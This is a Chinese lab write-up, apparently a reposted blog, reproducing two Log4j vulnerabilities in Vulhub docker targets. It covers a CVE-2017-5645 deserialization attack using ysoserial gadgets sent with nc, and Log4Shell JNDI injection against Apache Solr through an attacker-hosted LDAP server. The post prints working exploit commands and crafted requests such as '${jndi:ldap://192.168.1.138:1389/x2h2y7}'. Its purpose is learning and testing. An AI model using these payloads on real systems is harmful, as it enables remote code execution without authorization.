Vulhub:Log4j[漏洞复现]

CVE-2017-5645(Log4j反序列化)

启动靶场环境

docker-compose up -d

靶机IPV4地址

ifconfig | grep eth0 -A 5

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ifconfig | grep eth0 -A 5
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.138  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::d3f0:b854:e38c:9f58  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:ae:ed:8a  txqueuelen 1000  (Ethernet)
        RX packets 35392  bytes 37203041 (35.4 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0

阅读vulhub给出的文档

cat README.md

# Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

## 漏洞环境

执行如下命令启动漏洞环境

```
docker compose up -d
```

环境启动后,将在4712端口开启一个TCPServer。

说一下,除了使用vulhub的docker镜像搭建环境外,我们下载了log4j的jar文件后可以直接在命令行启动这个TCPServer:`java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer`,无需使用vulhub和编写代码。

## 漏洞复现

我们使用ysoserial生成payload,然后直接发送给`your-ip:4712`端口即可。

```
java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
```

然后执行`docker compose exec log4j bash`进入容器,可见 /tmp/success 已成功创建:

![](1.png)

执行[反弹shell的命令](http://www.jackson-t.ca/runtime-exec-payloads.html),成功弹回shell:

![](2.png)

进入容器环境中

docker exec -it 7d1002f21338 /bin/bash

攻击机中通过urldns.jar对靶场利用链进行探测

java -jar Urldns.jar file all lfgmo7.dnslog.cn

将gadget发送到靶机

cat 1.ser | nc 192.168.1.138 4712

dnslog收到回显,可见CC31攻击链适用于靶机

通过ysosersial查看可用payload

java -jar ysoserial.jar

这里直接选用CommonsCollections7进行反序列化测试

我尝试在靶机/tmp目录下新建一个0dayhp文件,生成Gadget

java -jar ysoserial.jar CommonsCollections7 "touch /tmp/0dayhp" > 1.ser

在靶机中进入/tmp目录下

root@7d1002f21338:/# cd /tmp
root@7d1002f21338:/tmp# ls
hsperfdata_root

将Gadget发送到靶机4712端口

cat 1.ser | nc 192.168.1.138 4712

此时回到靶机/tmp目录下,可见0dayhp文件已被成功创建

root@7d1002f21338:/# cd /tmp
root@7d1002f21338:/tmp# ls
hsperfdata_root
root@7d1002f21338:/tmp# ls
0dayhp  hsperfdata_root


CVE-2021-44228(Log4j2_JNDI注入)

启动靶场环境

docker-compose up -d

阅读vulhub给出的漏洞文档

cat README.zh-cn.md

# Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

[中文版本(Chinese version)](README.zh-cn.md)

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入,执行任意代码。

参考链接:

- https://logging.apache.org/log4j/2.x/security.html
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://xz.aliyun.com/t/10649

## 漏洞环境

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:

```
docker compose up -d
```

服务启动后,访问`http://your-ip:8983`即可查看到Apache Solr的后台页面。

## 漏洞复现

`${jndi:dns://${sys:java.version}.example.com}`是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:

```
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close


```

我们可以在DNS日志平台收到相关日志,显示出当前Java版本:

![](1.png)

实际利用JNDI注入漏洞,可以使用[JNDInjector](https://github.com/rebeyond/JNDInjector)。利用完毕后,可见`touch /tmp/success`已经成功被执行:

![](2.png)

试用浏览器访问靶机8983端口

点击左侧Logging由右侧展示信息可知,靶机使用了Log4j2组件

理论上来说,一切会被记入Log4j2日志组件的行为都可以触发漏洞,所以我尝试寻找接口

点击左侧的Core Admin,尝试对Core进行重命名

使用Yakit抓取请求包

GET /solr/admin/cores?_=1733816918585&action=RENAME&core=demo&other=abc&wt=json HTTP/1.1

Host: 192.168.1.138:8983

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

Accept: application/json, text/plain, */*

X-Requested-With: XMLHttpRequest

Referer: http://192.168.1.138:8983/solr/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

通过JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启用监听以便提供Payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'touch /tmp/0dayhp' -A 192.168.1.138

该Payload尝试在靶机/tmp目录下新建一个0dayhp文件

JNDI注入完整Payload:${jndi:ldap://192.168.1.138:1389/x2h2y7}

尝试对/solr/admin/cores接口下的参数进行JNDI注入

GET /solr/admin/cores?_=1733816918585&action=${jndi:ldap://192.168.1.138:1389/x2h2y7}&core=demo&other=abc&wt=json HTTP/1.1

Host: 192.168.1.138:8983

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

Accept: application/json, text/plain, */*

X-Requested-With: XMLHttpRequest

Referer: http://192.168.1.138:8983/solr/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

进入靶机终端中

docker exec -it 2e7af438ec81 /bin/bash

进入靶机/tmp目录下

root@2e7af438ec81:/# cd /tmp
root@2e7af438ec81:/tmp# ls
hsperfdata_root  jetty-0_0_0_0-8983-webapp-_solr-any-5641252888151320351  start_7074523919817787729.properties

在Yakit中直接进行发包获得响应

HTTP/1.1 400 Bad Request

Content-Security-Policy: default-src 'none'; base-uri 'none'; connect-src 'self'; form-action 'self'; font-src 'self'; frame-ancestors 'none'; img-src 'self'; media-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self'; worker-src 'self';

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Content-Type: application/json;charset=utf-8

Content-Length: 331

{

  "responseHeader": {

    "status": 400,

    "QTime": 0

  },

  "error": {

    "metadata": [

      "error-class",

      "org.apache.solr.common.SolrException",

      "root-error-class",

      "org.apache.solr.common.SolrException"

    ],

    "msg": "Unsupported operation: ldap://192.168.1.138:1389/x2h2y7",

    "code": 400

  }

}

再次查看靶机/tmp目录下文件

root@2e7af438ec81:/tmp# ls
0dayhp           jetty-0_0_0_0-8983-webapp-_solr-any-5641252888151320351
hsperfdata_root  start_7074523919817787729.properties

由输出可见,/tmp目录下已经多出了一个0dayhp文件漏洞利用成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/487940.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Flume基础概念

目录 作用组件构成ClientFlowAgentSourceSinkEvent 和Log4j的区别与定位事务传出流程输入到sourcesource端输入Channel 接收输入到SinkSink输出 作用 Flume可以从各种来源&#xff08;如日志文件、消息队列、网络数据、文件系统、数据库等&#xff09;收集数据&#xff0c;并将…

分布式搜索引擎之elasticsearch基本使用2

分布式搜索引擎之elasticsearch基本使用2 在分布式搜索引擎之elasticsearch基本使用1中&#xff0c;我们已经导入了大量数据到elasticsearch中&#xff0c;实现了elasticsearch的数据存储功能。但elasticsearch最擅长的还是搜索和数据分析。 所以j接下来&#xff0c;我们研究下…

Spring IOCAOP

Spring介绍 个人博客原地址 Spring是一个IOC&#xff08;DI&#xff09;和AOP框架 Sprng的优良特性 非侵入式&#xff1a;基于Spring开发的应用中的对象可以不依赖于Spring的API 依赖注入&#xff1a;DI是控制反转&#xff08;IOC&#xff09;最经典的实现 面向切面编程&am…

如何高效的向AI大模型提问? - 提示工程Prompt Engineering

大模型的输入&#xff0c;决定了大模型的输出&#xff0c;所以一个符合要求的提问Prompt起到关键作用。 以下是关于提示工程Prompt Engineering主要方法的详细表格&#xff0c;包括每种方法的优点、缺点、应用场景以及具体示例&#xff1a; 主要方法优点缺点应用场景示例明确性…

Linux——linux系统移植

创建VSCode工程 1、将NXP官方的linux内核拷贝到Ubuntu 2、解压缩tar -vxjf linux-imx-rel_imx_4.1.15_2.1.0_ga.tar.bz2 NXP官方开发板Linux内核编译 1、将.vscode文件夹复制到NXP官网linux工程中&#xff0c;屏蔽一些不需要的文件 2、编译NXP官方EVK开发板对应的Linux系统…

【C语言】16. 内存函数

文章目录 一、 memcpy使⽤和模拟实现二、memmove使⽤和模拟实现三、memset函数的使⽤四、memcmp函数的使⽤ 一、 memcpy使⽤和模拟实现 void * memcpy ( void * destination, const void * source, size_t num );• 函数memcpy从source的位置开始向后复制num个字节的数据到des…

第六届地博会世界酒中国菜助力广州龙美地标美食公司推动地标发展

第六届知交会暨地博会&#xff1a;世界酒中国菜助力广州龙美地标美食公司推动地标产品创新发展 2024年12月9日至11日&#xff0c;第六届粤港澳大湾区知识产权交易博览会暨国际地理标志产品交易博览会在中新广州知识城盛大启幕。本届盛会吸引了全球众多知识产权领域的专业人士和…

docker安装victoriametrics(单机版)

docker安装victoriametrics 1、单机版安装2、victoriametrics增删改查2.1 、插入数据2.1.1 组装数据插入victoriametrics(java代码插入)2.1.2 Prometheus数据插入victoriametrics2.1.3 官网push到victoriametrics写法 2.2 、查询2.2.1 、Instant query&#xff08;即时查询&…

【Linux】系统信息和状态命令

步骤 1&#xff1a;显示系统信息 命令&#xff1a; uname -a 1.打开终端。 2.输入命令并按回车键。 3.观察&#xff1a;输出将显示包括内核版本、主机名、硬件架构等在内的系统信息。 步骤 2&#xff1a;显示或设置系统的主机名 命令&#xff1a; hostname 1.打开终端。…

RabbitMq死信队列延迟交换机

架构图 配置 package com.example.demo.config;import org.springframework.amqp.core.*; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration;Configuration public class DeadLetterConfig {public String …

学生信息管理系统(简化版)数据库部分

使用Mysql&#xff0c;与navicat工具 下面是mysql创建的代码&#xff0c;可做必要修改 -- 创建学生学籍信息表 CREATE TABLE StudentEnrollment (-- 学号&#xff0c;作为主键student_id VARCHAR(8) NOT NULL,-- 学生姓名stu_name VARCHAR(8) NOT NULL,-- 学生性别gender VARC…

新手上路,学Go还是Python

对于新手来说&#xff0c;Go和Python都是很好的编程语言&#xff0c;它们各有特点&#xff0c;以下是详细的对比来帮助你决定先学哪一个&#xff1a; 一、语法和学习难度 Python 语法简洁易懂&#xff1a;Python以其简洁、优雅的语法而闻名&#xff0c;代码的可读性很高。例如…

信号处理:概念、应用、领域、方法

信号处理是一个广泛的领域&#xff0c;涉及对各种类型信号&#xff08;如音频信号、图像信号、生物信号、通信信号等&#xff09;的分析、操作和变换。信号处理的主要目标是获取有用信息、增强信号质量、消除噪声、提取特征以及实现数据 compression等。信号处理可以分为模拟信…

Socket编程-tcp

1. 前言 在tcp套接字编程这里&#xff0c;我们将完成两份代码&#xff0c;一份是基于tcp实现普通的对话&#xff0c;另一份加上业务&#xff0c;client输入要执行的命令&#xff0c;server将执行结果返回给client 2. tcp_echo_server 与udp类似&#xff0c;前两步&#xff1…

go语言的sdk项目搭建与git 操作标签tag并推送至远程仓库

在搭建 SDK 项目并结合 Git 操作标签&#xff08;Tag&#xff09;时&#xff0c;通常会涉及项目初始化、版本管理、Git 标签的创建与管理等内容。以下是一个完整的步骤指南&#xff0c;帮助您搭建 SDK 项目并学习如何使用 Git 标签。 ### 1. **搭建 SDK 项目** 首先&#xff…

Android13 USB 串口默认授权

一&#xff09;场景需求 项目中使用到了can协议控制车机功能&#xff0c;can 直接转串口&#xff0c;用USB转串口工具 cn.wch.uartlib 来实现. can 板子通过usb 插入到机器上面&#xff0c;那就是usb 协议了。 遇到问题&#xff1a; 插入can 板的usb 到机器上后&#xff0c;直…

【数据库】E-R模型、函数依赖、范式

2. 东方货运公司数据库的样本数据如下。 表名称&#xff1a;卡车 车号 货运站编号 类型 总行程 购入日期 1001 501 1 59002.7 11/06/2000 1002 502 2 54523.8 11/08/2000 1003 501 2 32116.6 09/29/2001 1004 502 2 3256.9 …

保姆级教学 uniapp绘制二维码海报并保存至相册,真机正常展示图片二维码

一、获取二维码 uni.request({url: https://api.weixin.qq.com/wxa/getwxacode?access_token${getStorage("token")},responseType: "arraybuffer",method: "POST",data: {path: "/pages/index/index"},success(res) {// 转换为 Uint…

JAVA安全—SpringBoot框架MyBatis注入Thymeleaf模板注入

前言 之前我们讲了JAVA的一些组件安全&#xff0c;比如Log4j&#xff0c;fastjson。今天讲一下框架安全&#xff0c;就是这个也是比较常见的SpringBoot框架。 SpringBoot框架 Spring Boot是由Pivotal团队提供的一套开源框架&#xff0c;可以简化spring应用的创建及部署。它提…

【数据结构】动态规划-基础篇

针对动态规划问题&#xff0c;我总结了以下5步&#xff1a; 确定dp数组以及下标的含义&#xff1b; 递推公式&#xff1b; dp数组如何初始化&#xff1b; 遍历顺序&#xff1b; 打印dp数组&#xff08;用来debug&#xff09;&#xff1b; 以上5步适用于任何动态规划问题&#x…